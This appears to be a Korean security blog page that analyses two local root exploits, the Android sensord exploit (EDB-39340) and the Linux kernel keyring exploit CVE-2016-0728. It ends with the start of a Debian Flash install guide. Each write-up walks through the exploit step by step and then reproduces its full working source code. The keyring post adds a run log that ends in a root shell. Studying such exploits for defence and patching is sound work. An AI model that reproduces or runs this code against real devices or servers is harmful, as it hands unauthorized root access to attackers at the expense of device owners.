1/29/2016

[EXPLOIT] Android sensord Local Root Exploit 분석(Android Exploit Anlaysis)

최근 Android Local Root Exploit이 EDB에 올라와서 좀 관찰해봤습니다.

EDB-ID: 39340 CVE: N/A OSVDB-ID: N/A
EDB Verified: Author: s0m3b0dy Published: 2016-01-27
Download Exploit:  Source  Raw Download Vulnerable App: N/A

이 친구는 sensord를 이용하여 Android system에서 Root 를 탈취할 수 있는 취약점이고
이를 활용하여 sensord가 설치sne된 Device 에서 루팅을 수행할 수 있겠지요.



취약점 원리

Android 내 sensors demon(리눅스에서 온도와, 쿨링펜 속도를 담당하지요..)을 사용할 때 일부 ROM에서 sensorsd가 root 의 권한으로 실행되어 공격자가 sensors 를 이용하여 root 를 획득할 수 있는 취약점입니다.

관련해서 원리에 대한 글이나 문서가 없어... 코드를 보고 최대한 나름대로의 해석을 해 보았습니다. 혹시나 잘못된 부분이 있다면 댓글로 주시면 바로 수정하겠습니다.

해당 Exploit 을 제작한 해커는 참 편리하게도, 각각 Step에 따라 함수를 구별해주었습니다.
(귀찮음을 약간 덜었네요)

크게 3가지의 Step으로 Exploit 과정이 진행되며, 과정 중 Reboot도 포함되어 있습니다.

Exploit Code Analysis - main

main은 정말 간단합니다. 각각 step을 의미하는 인자값에 따라 아래 first_step부터 third_step 함수를 호출해줍니다.

main -> first_step() -> second_step() -> third_step()

int main(int argc, char **argv)
{

    if(argc != 2)
    {
        print_usage( argv );
        return 0;
    }

    if( strstr( argv[1], "1" ) != NULL) {
        if( verify() ) {
            disable_autorotate();
            first_step();                       //create link
        }
        else
        {
            printf("[-] It looks likey is not vulnerable!\n");
        }
    }
    else if( strstr( argv[1], "2") != NULL) {
        second_step();                          //edit ext4(/system) partition(set bit suid)
    }
    else if( strstr( argv[1], "3") != NULL) {
        third_step();                           //get root shell
    }
    else if( strstr( argv[1], "verify") != NULL){
        if( verify() )
            printf("[+] Should be vulnerable!\n");
        else
            printf("[-] Not vulnerable!\n");
    }
    else{
            print_usage( argv );
    }
    return 0;
}

Exploit Code Analysis - first_step

main 만큼이나 간단한 first_step입니다.

// FIFO_DAT 정의구간
#define FIFO_DAT "/data/misc/sensor/fifo_dat"

// ...snip... first_step함수
void first_step()
{
    if( access(FIFO_DAT, F_OK) != -1 )
    {
        unlink(FIFO_DAT);
    }


    char path[1024];
    get_system_dev(path, sizeof(path));
    symlink(path, FIFO_DAT);

    printf("[+] Symlink is created, please reboot device and run second step.\n[+] The device may slow down, after second step will work normally.\n");
}
get_system_dev 함수를 통해 얻어진 경로를 이용하여 FIFO_DAT과 symlink를 걸어줍니다.
해당 함수는 아래와 같이 /proc/mounts를 열고 값을 읽어 strstr함수를 /system의 위치를 찾아 반환하여줍니다.

void get_system_dev( char *ptr, int size )
{
    int fd = open("/proc/mounts", O_RDONLY);
    int pos = 0, posend = 0, tmppos = 0;
    char buff[4096];
    char link[1024];
    memset(buff, 0, sizeof(buff));
    memset(link, 0, sizeof(link));
    memset(ptr, 0, size);
    if(fd != -1)
    {
        read(fd, &buff, sizeof(buff));
        int sres = (int)strstr(buff, " /system ");
        if( (sres != -1) && ((pos = (sres - (int)buff)) > 0) )
        {
            tmppos = pos;
            int i=0;
            while( (buff[pos] != '\n') && (pos > 0) ) pos--;
            pos++;
            strncpy(link, &buff[pos], tmppos - pos);
            readlink(link, ptr, size);

        }
        else
        {
            printf("[-] Can't find system partition!\n");
            close(fd);
            exit(0);
        }
        close(fd);
    }
    else
    {
        printf("[-] Can't read /proc/mounts file!\n");
        exit(0);
    }

}
요약하자면 시스템 파티션을 찾은 후 sensor의 FIFO_DAT과 symlink 하여줍니다.
그 후 사용자에게 Reboot을 요청합니다.

Exploit Code Analysis - second_step

first_step 후 reboot 한다음 exploit 코드를 통해 second_step을 실행합니다.
흐름을 보면 이 부분에서 본격적인 Exploit 과정이 일어나게 됩니다.

second_step은 실행 시 FIFO_DAT을 unlink 한 후 stat 함수를 통해 파일의 정보를 읽어옵니다.
stat으로 읽어오는건 SH로 정의된 경로이며 해당 부분은 아래와 같습니다.

#define SH "/system/bin/mksh"

//..snip..
char path[1024];
    struct stat s;

    unlink(FIFO_DAT);

    stat(SH, &s);
    printf("[+] Looking for inode no.: %llu\n", s.st_ino);

    get_system_dev(path, sizeof(path));
/mksh의 정보(inode) 확인 후 get_system_dev로 얻어진 경로를 열어 작업을 시작합니다.

 int inodeno = s.st_ino;
        struct ext4_super_block super;
        struct ext4_group_desc group_descr;
        struct ext4_inode inode;

        unsigned long int offset=0;
        lseek(fd, 0x400, SEEK_SET);

        read(fd, &super, sizeof(super));
s.st_ino(inode) 값을 저장해두고 ext4 형태로 구조체 선언 후 lseek을 이용하여 해당 경로(fd)에 0x400 만큼 파일 시작부분에서 건너띕니다. 그리고 파일 데이터를 읽습니다.

lseek(fd, 0x400, SEEK_SET);
read(fd, &super, sizeof(super));
이후 쭉쭉 내려가다 보면 inode.i.size_lo 와 s.st_size를 비교한 후 같다면 write 함수로 fd에 데이터를 쓰게됩니다. 이 부분에서 공격자가 SUID를 fd에 세팅하게 되어 root 를 획득하는 과정으로 보입니다.

        if(inode.i_size_lo == s.st_size) {
            __le16 mode = 0;
            printf("[+] Found inode!\n");
            lseek(fd, total_offset, SEEK_SET);

            inode.i_mode = inode.i_mode | 0x800;

            int modesize = sizeof(inode.i_mode);
            int wr = write(fd, &inode.i_mode, modesize);

            if( wr == modesize )
            {
                printf("[+] Success, bit SUID is setted on %s\n[+] You must reboot the device to run third step\n", SH);
            }
            else
            {
                printf("[-] Can't set bit SUID on %s\n", SH);
            }
        }
해당 위치에서 inode.i_mode 값을 write 하여 SUID를 세팅합니다.
이로써 second_step을 통해 SUID를 세팅하고 root 획득이 되었습니다.

Exploit Code Analysis - third_step

재부팅 후 third_step 은 정말 심플하게, root 됬다는 것을 증명해주는 함수입니다.
사실 1,2번만 공격에 사용되는 부분이겠네요.

setuid(0), setgid(0) 으로 권한을 상승합니다.

void third_step()
{
    char path[1024];
    //chmod(SH, 4755);
    setuid(0);
    setgid(0);
    if(getuid() == 0)
    {

        get_system_dev(path, sizeof(path));
        chmod(path, 0600);
        printf("[+] Rooted!\n");
        system(SH);
    }
    else
    {
        printf("[-] No root here!\n");
        exit(0);
    }
}

Full Code


// https://www.exploit-db.com/exploits/39340/

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <dirent.h>
#include <ctype.h>


#define FIFO_DAT "/data/misc/sensor/fifo_dat"
#define SH "/system/bin/mksh"

struct ext4_super_block {
 /*00*/  __le32  s_inodes_count;
         __le32  s_blocks_count_lo;
         __le32  s_r_blocks_count_lo;
         __le32  s_free_blocks_count_lo;
 /*10*/  __le32  s_free_inodes_count;
         __le32  s_first_data_block;
         __le32  s_log_block_size;
         __le32  s_log_cluster_size;
 /*20*/  __le32  s_blocks_per_group;
         __le32  s_clusters_per_group;
         __le32  s_inodes_per_group;
         __le32  s_mtime;
 /*30*/  __le32  s_wtime;
         __le16  s_mnt_count;
         __le16  s_max_mnt_count;
         __le16  s_magic;
         __le16  s_state;
         __le16  s_errors;
         __le16  s_minor_rev_level;
 /*40*/  __le32  s_lastcheck;
         __le32  s_checkinterval;
         __le32  s_creator_os;
         __le32  s_rev_level;
 /*50*/  __le16  s_def_resuid;
         __le16  s_def_resgid;
         __le32  s_first_ino;
         __le16  s_inode_size;
         __le16  s_block_group_nr;
         __le32  s_feature_compat;
 /*60*/  __le32  s_feature_incompat;
         __le32  s_feature_ro_compat;
 /*68*/  __u8    s_uuid[16];
 /*78*/  char    s_volume_name[16];
 /*88*/  char    s_last_mounted[64];
 /*C8*/  __le32  s_algorithm_usage_bitmap;
         __u8    s_prealloc_blocks;
         __u8    s_prealloc_dir_blocks;
         __le16  s_reserved_gdt_blocks;
 /*D0*/  __u8    s_journal_uuid[16];
 /*E0*/  __le32  s_journal_inum;
         __le32  s_journal_dev;
         __le32  s_last_orphan;
         __le32  s_hash_seed[4];
         __u8    s_def_hash_version;
         __u8    s_jnl_backup_type;
         __le16  s_desc_size;
 /*100*/ __le32  s_default_mount_opts;
         __le32  s_first_meta_bg;
         __le32  s_mkfs_time;
         __le32  s_jnl_blocks[17];
 /*150*/ __le32  s_blocks_count_hi;
         __le32  s_r_blocks_count_hi;
         __le32  s_free_blocks_count_hi;
         __le16  s_min_extra_isize;
         __le16  s_want_extra_isize;
         __le32  s_flags;
         __le16  s_raid_stride;
         __le16  s_mmp_update_interval;
         __le64  s_mmp_block;
         __le32  s_raid_stripe_width;
         __u8    s_log_groups_per_flex;
         __u8    s_checksum_type;
         __u8    s_encryption_level;
         __u8    s_reserved_pad;
         __le64  s_kbytes_written;
         __le32  s_snapshot_inum;
         __le32  s_snapshot_id;
         __le64  s_snapshot_r_blocks_count;
         __le32  s_snapshot_list;
 #define EXT4_S_ERR_START offsetof(struct ext4_super_block, s_error_count)
         __le32  s_error_count;
         __le32  s_first_error_time;
         __le32  s_first_error_ino;
         __le64  s_first_error_block;
         __u8    s_first_error_func[32];
         __le32  s_first_error_line;
         __le32  s_last_error_time;
         __le32  s_last_error_ino;
         __le32  s_last_error_line;
         __le64  s_last_error_block;
         __u8    s_last_error_func[32];
 #define EXT4_S_ERR_END offsetof(struct ext4_super_block, s_mount_opts)
         __u8    s_mount_opts[64];
         __le32  s_usr_quota_inum;
         __le32  s_grp_quota_inum;
         __le32  s_overhead_clusters;
         __le32  s_backup_bgs[2];
         __u8    s_encrypt_algos[4];
         __u8    s_encrypt_pw_salt[16];
         __le32  s_lpf_ino;
         __le32  s_prj_quota_inum;
         __le32  s_checksum_seed;
         __le32  s_reserved[98];
        __le32  s_checksum;
};

struct ext4_group_desc
{
         __le32  bg_block_bitmap_lo;
         __le32  bg_inode_bitmap_lo;
         __le32  bg_inode_table_lo;
         __le16  bg_free_blocks_count_lo;
         __le16  bg_free_inodes_count_lo;
         __le16  bg_used_dirs_count_lo;
         __le16  bg_flags;
         __le32  bg_exclude_bitmap_lo;
         __le16  bg_block_bitmap_csum_lo;
         __le16  bg_inode_bitmap_csum_lo;
         __le16  bg_itable_unused_lo;
         __le16  bg_checksum;
         __le32  bg_block_bitmap_hi;
         __le32  bg_inode_bitmap_hi;
         __le32  bg_inode_table_hi;
         __le16  bg_free_blocks_count_hi;
         __le16  bg_free_inodes_count_hi;
         __le16  bg_used_dirs_count_hi;
         __le16  bg_itable_unused_hi;
         __le32  bg_exclude_bitmap_hi;
         __le16  bg_block_bitmap_csum_hi;
         __le16  bg_inode_bitmap_csum_hi;
         __u32   bg_reserved;
 };

struct ext4_inode {
         __le16  i_mode;
         __le16  i_uid;
         __le32  i_size_lo;
         __le32  i_atime;
         __le32  i_ctime;
         __le32  i_mtime;
         __le32  i_dtime;
         __le16  i_gid;
         __le16  i_links_count;
         __le32  i_blocks_lo;
         __le32  i_flags;
         union {
                 struct {
                         __le32  l_i_version;
                 } linux1;
                 struct {
                         __u32  h_i_translator;
                 } hurd1;
                 struct {
                         __u32  m_i_reserved1;
                 } masix1;
         } osd1;
         __le32  i_block[15];
         __le32  i_generation;
         __le32  i_file_acl_lo;
         __le32  i_size_high;
         __le32  i_obso_faddr;
         union {
                 struct {
                         __le16  l_i_blocks_high;
                         __le16  l_i_file_acl_high;
                         __le16  l_i_uid_high;
                         __le16  l_i_gid_high;
                         __le16  l_i_checksum_lo;
                         __le16  l_i_reserved;
                 } linux2;
                 struct {
                         __le16  h_i_reserved1;
                         __u16   h_i_mode_high;
                         __u16   h_i_uid_high;
                         __u16   h_i_gid_high;
                         __u32   h_i_author;
                 } hurd2;
                 struct {
                         __le16  h_i_reserved1;
                         __le16  m_i_file_acl_high;
                         __u32   m_i_reserved2[2];
                 } masix2;
         } osd2;
         __le16  i_extra_isize;
         __le16  i_checksum_hi;
         __le32  i_ctime_extra;
         __le32  i_mtime_extra;
         __le32  i_atime_extra;
         __le32  i_crtime;
         __le32  i_crtime_extra;
         __le32  i_version_hi;
 };

void print_usage( char ** argv)
{
    printf("Have 3 steps. You need to reboot the device after step 1 and step 2.\n");
    printf("Usage: %s 1\n", argv[0]);
    printf("       %s 2\n", argv[0]);
    printf("       %s 3\n", argv[0]);
    printf("       %s verify\n", argv[0]);
}

void get_system_dev( char *ptr, int size )
{
    int fd = open("/proc/mounts", O_RDONLY);
    int pos = 0, posend = 0, tmppos = 0;
    char buff[4096];
    char link[1024];
    memset(buff, 0, sizeof(buff));
    memset(link, 0, sizeof(link));
    memset(ptr, 0, size);
    if(fd != -1)
    {
        read(fd, &buff, sizeof(buff));
        int sres = (int)strstr(buff, " /system ");
        if( (sres != -1) && ((pos = (sres - (int)buff)) > 0) )
        {
            tmppos = pos;
            int i=0;
            while( (buff[pos] != '\n') && (pos > 0) ) pos--;
            pos++;
            strncpy(link, &buff[pos], tmppos - pos);
            readlink(link, ptr, size);

        }
        else
        {
            printf("[-] Can't find system partition!\n");
            close(fd);
            exit(0);
        }
        close(fd);
    }
    else
    {
        printf("[-] Can't read /proc/mounts file!\n");
        exit(0);
    }

}

void first_step()
{
    if( access(FIFO_DAT, F_OK) != -1 )
    {
        unlink(FIFO_DAT);
    }


    char path[1024];
    get_system_dev(path, sizeof(path));
    symlink(path, FIFO_DAT);

    printf("[+] Symlink is created, please reboot device and run second step.\n[+] The device may slow down, after second step will work normally.\n");
}

void second_step()
{
    char path[1024];
    struct stat s;

    unlink(FIFO_DAT);

    stat(SH, &s);
    printf("[+] Looking for inode no.: %llu\n", s.st_ino);

    get_system_dev(path, sizeof(path));

    int fd = open(path, O_RDWR);
    if( fd != -1 )
    {
        int inodeno = s.st_ino;
        struct ext4_super_block super;
        struct ext4_group_desc group_descr;
        struct ext4_inode inode;

        unsigned long int offset=0;
        lseek(fd, 0x400, SEEK_SET);

        read(fd, &super, sizeof(super));

        int block_size = 1024 << super.s_log_block_size;
        int bg = (inodeno-1) /super.s_inodes_per_group;

        lseek(fd, block_size + bg * (super.s_desc_size ? super.s_desc_size : sizeof(struct ext4_group_desc) ), SEEK_SET);
        read(fd, &group_descr, sizeof(group_descr));


        unsigned int index = (inodeno-1) % super.s_inodes_per_group;
        unsigned int off = index *  super.s_inode_size;
        unsigned long total_offset = block_size + (group_descr.bg_inode_table_lo-1) * block_size + off;

        lseek(fd, total_offset, SEEK_SET);
        read(fd, &inode, sizeof(struct ext4_inode));

        if(inode.i_size_lo == s.st_size) {
            __le16 mode = 0;
            printf("[+] Found inode!\n");
            lseek(fd, total_offset, SEEK_SET);

            inode.i_mode = inode.i_mode | 0x800;

            int modesize = sizeof(inode.i_mode);
            int wr = write(fd, &inode.i_mode, modesize);

            if( wr == modesize )
            {
                printf("[+] Success, bit SUID is setted on %s\n[+] You must reboot the device to run third step\n", SH);
            }
            else
            {
                printf("[-] Can't set bit SUID on %s\n", SH);
            }
        }
        else
        {
            printf("[-] Can't find inode!\n");
        }
        close(fd);
    }
    else
        printf("[-] Can't open %s!\n", path);

}

void third_step()
{
    char path[1024];
    //chmod(SH, 4755);
    setuid(0);
    setgid(0);
    if(getuid() == 0)
    {

        get_system_dev(path, sizeof(path));
        chmod(path, 0600);
        printf("[+] Rooted!\n");
        system(SH);
    }
    else
    {
        printf("[-] No root here!\n");
        exit(0);
    }
}

bool isSensord(char *spath)
{
    char buff[50];
    bool res = false;
    int fd = open(spath, O_RDONLY);
    if(fd != -1)
    {
        read(fd, buff, 50);
        if(strstr(buff, "/system/bin/sensord") != NULL)
        {
            res = true;
        }
        close(fd);
    }
    return res;
}

bool verify()
{
    DIR* dir;
    struct dirent *entry;
    char spath[512];
    bool res = false;
    struct stat s;

    dir = opendir("/proc");
    if(dir) {
        while ((entry = readdir(dir)) != NULL) {
            if (entry->d_type == DT_DIR) {
                snprintf(spath, 512, "/proc/%s/cmdline", entry->d_name);

                if (isSensord(spath)) {
                    stat(spath, &s);
                    if (s.st_uid == 0)
                        res = true;

                    break;
                }
            }
        }
        closedir(dir);
    }
    return res;
}

void disable_autorotate()
{
    printf("[+] Disabling auto-rotate...\n");
    system("content insert --uri content://settings/system --bind name:s:accelerometer_rotation --bind value:i:0");
}

int main(int argc, char **argv)
{

    if(argc != 2)
    {
        print_usage( argv );
        return 0;
    }

    if( strstr( argv[1], "1" ) != NULL) {
        if( verify() ) {
            disable_autorotate();
            first_step();                       //create link
        }
        else
        {
            printf("[-] It looks likey is not vulnerable!\n");
        }
    }
    else if( strstr( argv[1], "2") != NULL) {
        second_step();                          //edit ext4(/system) partition(set bit suid)
    }
    else if( strstr( argv[1], "3") != NULL) {
        third_step();                           //get root shell
    }
    else if( strstr( argv[1], "verify") != NULL){
        if( verify() )
            printf("[+] Should be vulnerable!\n");
        else
            printf("[-] Not vulnerable!\n");
    }
    else{
            print_usage( argv );
    }



    return 0;
}

Reference

https://www.exploit-db.com/exploits/39340/
Share: | Coffee Me:

1/21/2016

[EXPLOIT] Linux Kernel REFCOUNT Overflow/UAF in Keyrings 취약점 분석

요즘 Linux Kernel 취약점이 간간히 많이 올라오는 것 같습니다 .
그 중 1월 9일 EDB를 통해 공개된 CVE-2016-0728 취약점에 대한 이야기입니다.
리눅스 전반적으로 영향력이 있어 파급력이 강한 취약점이네요.

EDB-ID: 39277     CVE: 2016-0728     OSVDB-ID: N/A
EDB Verified:     Author: Perception Point Team     Published: 2016-01-19
Download Exploit: Source Raw     Download Vulnerable App: N/A

취약버전
    Red Hat Enterprise Linux 7
    CentOS Linux 7
    Scientific Linux 7
    Debian Linux stable 8.x (jessie)
    Debian Linux testing 9.x (stretch)
    SUSE Linux Enterprise Desktop 12
    SUSE Linux Enterprise Desktop 12 SP1
    SUSE Linux Enterprise Server 12
    SUSE Linux Enterprise Server 12 SP1
    SUSE Linux Enterprise Workstation Extension 12
    SUSE Linux Enterprise Workstation Extension 12 SP1
    Ubuntu Linux 14.04 LTS (Trusty Tahr)
    Ubuntu Linux 15.04 (Vivid Vervet)
    Ubuntu Linux 15.10 (Wily Werewolf)
    Opensuse Linux LEAP and version 13.2



Linux Kernel Keyring

일단 이 취약점에 대해 분석하기 전에 Linux keyring에 대해 알아두면 좋습니다.

Kernel Keyring은 리눅스에서 사용하는 Kernel Level 함수입니다.
이 친구는 드라이버와 같이 커널안에서 사용하는 캐시데이터, 인증키, 암화화키 등등 여러 커널 데이터에 대해 보호합니다. 키를 관리하기 위한 툴이지요.

함수에 대한 자세한 내용은 man7.org에서 확인하면 좋습니다.
http://man7.org/linux/man-pages/man7/keyrings.7.html

취약점 원리

이 취약점은 Linux Kernel Keyring 에서 Reference Leakage가 발생하여 최종적으로 권한상승까지 이어질 수 있는 취약점입니다.
키링은 프로세스들끼리 공유가 되는 부분이고 현재 사용되고 있는 키링과 같은 이름의 키링을 타 프로세스가 호출할 때 Leakage가 발생하며 이를 통해 OverFlow/UAF 까지 이어지게 됩니다.

Keyring 함수 중 Keyctl( man keyctl 으로 확인)을 사용하여 현재 세션에 대한 Keyring을 생성할 수 있습니다.
keyctl 함수는 아래와 같은 인자값을 가지고 이를 사용하는 중 name 값에 대해 값을 주어 이름을 지정하는데

keyctl(KEYCTL_JOIN_SESSION_KEYRING, name)

여기서 동일한 Keyring의 이름을 참조하여 프로세스 간 공유될 수 있습니다.

에러가 발생하기에 기존 취약 커널에서는 erro2 label로 jump하게 되고 이 과정 중 Leakage가 발생합니다.

공격자는 Refcount 를 OverFlow하고 Keyring Object에 대해 확보 후 커널 Object를 제어하여 최종적으로 높은 권한으로
명려수행까지 이루게 됩니다.

1. Overflowing usage Refcount
2. Freeing keyring object
3. Allocating and controlling kernel object
4. Gaining kernel code execution


자세한 내용은 해당 버그를 발견한 퍼셉션포인트의 분석보고서를 보시면 좋을 것 같습니다.
http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/

(코드만 보면서 해서 고생 좀 하다가 이거 보고 많이 도움됬다지요)


Exploit Code Analysis - Main

길어서 약간 간추려서 보겠습니다.
위쪽 코드는 Usage 등의 정보성 내용이고 약간 아래부터 보시면 좋겠네요.

printf("[+] uid=%d, euid=%d\n", getuid(), geteuid());   //Exploit 시작 전 uid와 gid에 대해 보여줍니다.
    commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
        prepare_kernel_cred =  // prepare_kernel_cred의 Memory Address 반환
(_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");  
    if(commit_creds == NULL || prepare_kernel_cred == NULL) {
        commit_creds = (_commit_creds)COMMIT_CREDS_ADDR;
                 prepare_kernel_cred =  
(_prepare_kernel_cred)PREPARE_KERNEL_CREDS_ADDR;
                 if(commit_creds == (_commit_creds)0xffffffff810bb050  
|| prepare_kernel_cred == (_prepare_kernel_cred)0xffffffff810bb370)
                    puts("[-] You probably need to change the address of  
commit_creds and prepare_kernel_cred in source");
    }

        my_key_type = malloc(sizeof(*my_key_type));

        my_key_type->revoke = (void*)userspace_revoke;
        memset(msg.mtext, 'A', sizeof(msg.mtext));

        // key->uid
        *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
        //key->perm
        *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

        //key->type
        *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

        if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                perror("msgget");
            exit(1);
        }

        keyring_name = argv[1];
위에 코드 도입 부분에 prepare_kernel_cred = 
(_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");

부분이 있습니다. 아래 설명드릴 get_kernel_sym 함수를 통해 prepare_kernel_cred라는 이름을 찾아
메모리 값을 반환해줍니다.

그리고 쭉 보다보면 msg에 값을 넣어주는데, 이부분이 실제 공격에 들어가는 데이터 부분이 되겠지요.


Exploit Code Analysis - get_kernel_sym

해당 함수는 /proc/kallsyms 파일에서 입력값을 찾아 해당 주소를 반환해주는 함수입니다.

static unsigned long get_kernel_sym(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy;
    char sname[256];
    int ret;

    f = fopen("/proc/kallsyms", "r"); //   /proc/kallsyms 를 읽기모드로 Open 합니다.
    if (f == NULL) {
        fprintf(stdout, "Unable to obtain symbol listing!\n");
        exit(0);
    }

    ret = 0;
    while(ret != EOF) { // fscanf 로 각각 구간을 addr, dummy, sname 변수에 넣어줍니다.
        ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); 
        if (ret == 0) {
            fscanf(f, "%s\n", sname);
            continue;
        }
        if (!strcmp(name, sname)) {    // 입력 인자값과 sname 값을 비교합니다.
            fprintf(stdout, "[+] Resolved %s to %p\n", name, (void *)addr);
            fclose(f);
            return addr;   // 있을 시 addr 값을 반환합니다.
        }
    }
    fclose(f);
    return 0;
}

Run

#> gcc Keyring_Exploit.c -o exploit -lkeyutils -Wall
#> ./exploit
uid=1000, euid=10000
Increfing...
finished increfing
forking...
finished forking
caling revoke
uid=0, euid=0
#
#> whoami
root

대응 방안

Zero-Day가 아니기 때문에 패치한방으로 해결 가능합니다.

# sudo apt-get update && sudo apt-get upgrade && apt-get dist-upgrade

아래 명령으로 버전에 대해 확인합니다.

# uname -mrs
Linux 3.13.0-74-generic x86_64


Full Code


# Exploit Title: Linux kernel REFCOUNT overflow/Use-After-Free in keyrings
# Date: 19/1/2016
# Exploit Author: Perception Point Team
# CVE : CVE-2016-0728

/* CVE-2016-0728 local root exploit
    modified by Federico Bento to read kernel symbols from /proc/kallsyms
    props to grsecurity/PaX for preventing this in so many ways

    $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall
    $ ./cve_2016_072 PP_KEY */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*  
_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff810bb050)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff810bb370)



struct key_type {
    char * name;
        size_t datalen;
        void * vet_description;
        void * preparse;
        void * free_preparse;
        void * instantiate;
        void * update;
        void * match_preparse;
        void * match_free;
        void * revoke;
        void * destroy;
};

/* thanks spender - Federico Bento */
static unsigned long get_kernel_sym(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy;
    char sname[256];
    int ret;

    f = fopen("/proc/kallsyms", "r");
    if (f == NULL) {
        fprintf(stdout, "Unable to obtain symbol listing!\n");
        exit(0);
    }

    ret = 0;
    while(ret != EOF) {
        ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
        if (ret == 0) {
            fscanf(f, "%s\n", sname);
            continue;
        }
        if (!strcmp(name, sname)) {
            fprintf(stdout, "[+] Resolved %s to %p\n", name, (void *)addr);
            fclose(f);
            return addr;
        }
    }

    fclose(f);
    return 0;
}

void userspace_revoke(void * key) {
        commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
    const char *keyring_name;
    size_t i = 0;
         unsigned long int l = 0x100000000/2;
    key_serial_t serial = -1;
    pid_t pid = -1;
         struct key_type * my_key_type = NULL;

         struct {
        long mtype;
        char mtext[STRUCT_LEN];
    } msg = {0x4141414141414141, {0}};
    int msqid;

    if (argc != 2) {
        puts("usage: ./keys <key_name>");
        return 1;
    }

        printf("[+] uid=%d, euid=%d\n", getuid(), geteuid());
    commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
        prepare_kernel_cred =  
(_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
    if(commit_creds == NULL || prepare_kernel_cred == NULL) {
        commit_creds = (_commit_creds)COMMIT_CREDS_ADDR;
                 prepare_kernel_cred =  
(_prepare_kernel_cred)PREPARE_KERNEL_CREDS_ADDR;
                 if(commit_creds == (_commit_creds)0xffffffff810bb050  
|| prepare_kernel_cred == (_prepare_kernel_cred)0xffffffff810bb370)
                    puts("[-] You probably need to change the address of  
commit_creds and prepare_kernel_cred in source");
    }

        my_key_type = malloc(sizeof(*my_key_type));

        my_key_type->revoke = (void*)userspace_revoke;
        memset(msg.mtext, 'A', sizeof(msg.mtext));

        // key->uid
        *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
        //key->perm
        *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

        //key->type
        *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

        if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                perror("msgget");
            exit(1);
        }

        keyring_name = argv[1];

    /* Set the new session keyring before we start */

    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
    if (serial < 0) {
        perror("keyctl");
        return -1;
        }

    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL |  
KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
        perror("keyctl");
        return -1;
    }


    puts("[+] Increfing...");
        for (i = 1; i < 0xfffffffd; i++) {
            if (i == (0xffffffff - l)) {
                    l = l/2;
                    sleep(5);
            }
            if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
                    perror("[-] keyctl");
                    return -1;
            }
        }
        sleep(5);
        /* here we are going to leak the last references to overflow */
        for (i=0; i<5; ++i) {
            if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
                    perror("[-] keyctl");
                    return -1;
            }
        }

        puts("[+] Finished increfing");
        puts("[+] Forking...");
        /* allocate msg struct in the kernel rewriting the freed keyring  
object */
        for (i=0; i<64; i++) {
            pid = fork();
            if (pid == -1) {
                    perror("[-] fork");
                    return -1;
            }

            if (pid == 0) {
                    sleep(2);
                    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                        perror("[-] msgget");
                        exit(1);
                    }
                    for (i = 0; i < 64; i++) {
                        if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
                                perror("[-] msgsnd");
                                exit(1);
                        }
                    }
                    sleep(-1);
                    exit(1);
            }
        }

        puts("[+] Finished forking");
        sleep(5);

        /* call userspace_revoke from kernel */
        puts("[+] Caling revoke...");
        if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
            perror("[+] keyctl_revoke");
        }

        printf("uid=%d, euid=%d\n", getuid(), geteuid());
        execl("/bin/sh", "/bin/sh", NULL);

        return 0;
}

Reference

https://www.exploit-db.com/exploits/39277/
http://man7.org/linux/man-pages/man7/keyrings.7.html
http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/
Share: | Coffee Me:

[DEBIAN] IceWeasel Adobe Flash Plugin 설치하기(Install Adobe Flash Plugin on IceWeasel/Debian)

Download File

https://get.adobe.com/kr/flashplayer/
위 사이트 접근 후 flashplayer 다운로드
(각 os에 맞게)



압축해제(Extract tar.gz File)

다운로드 받은 파일을 압축해제 합니다.

#> tar -xvf install_flash_player_11_linux.x86_64.tar.gz
libflashplayer.so
readme.txt
LGPL/
LGPL/LGPL.txt
LGPL/notice.txt
usr/
usr/lib64/
usr/lib64/kde4/
usr/lib64/kde4/kcm_adobe_flash_player.so
usr/share/
usr/share/pixmaps/
usr/share/pixmaps/flash-player-properties.png
usr/share/kde4/
usr/share/kde4/services/
usr/share/kde4/services/kcm_adobe_flash_player.desktop
usr/share/icons/
usr/share/icons/hicolor/
usr/share/icons/hicolor/24x24/
usr/share/icons/hicolor/24x24/apps/
